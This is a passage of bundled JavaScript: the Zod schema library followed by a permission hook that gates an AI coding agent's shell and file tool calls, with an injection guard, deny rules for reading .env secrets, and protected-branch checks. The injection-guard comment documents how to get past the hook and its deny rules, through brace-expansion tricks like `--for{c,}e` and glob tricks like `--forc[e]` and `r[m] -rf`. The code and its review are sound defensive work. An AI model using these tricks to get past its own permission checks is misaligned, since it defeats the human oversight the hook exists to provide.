/*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n const def = {\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n };\n return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new ZodRecord({\n type: \"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n return new ZodEnum({\n type: \"enum\",\n entries,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, detail) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && detail ? { permissionDecisionReason: detail } : {},\n ...action === \"allow\" && detail ? { additionalContext: detail } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` -- either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) -- skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` -- but *only when a file\n* literally named `--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit -- strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough -- which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges -- the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default -- callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails -- the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision. Mirrors the\n* \"safe default\" convention of getCurrentBranch.\n*/\nfunction isPrimaryWorktree(cwd) {\n try {\n const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n 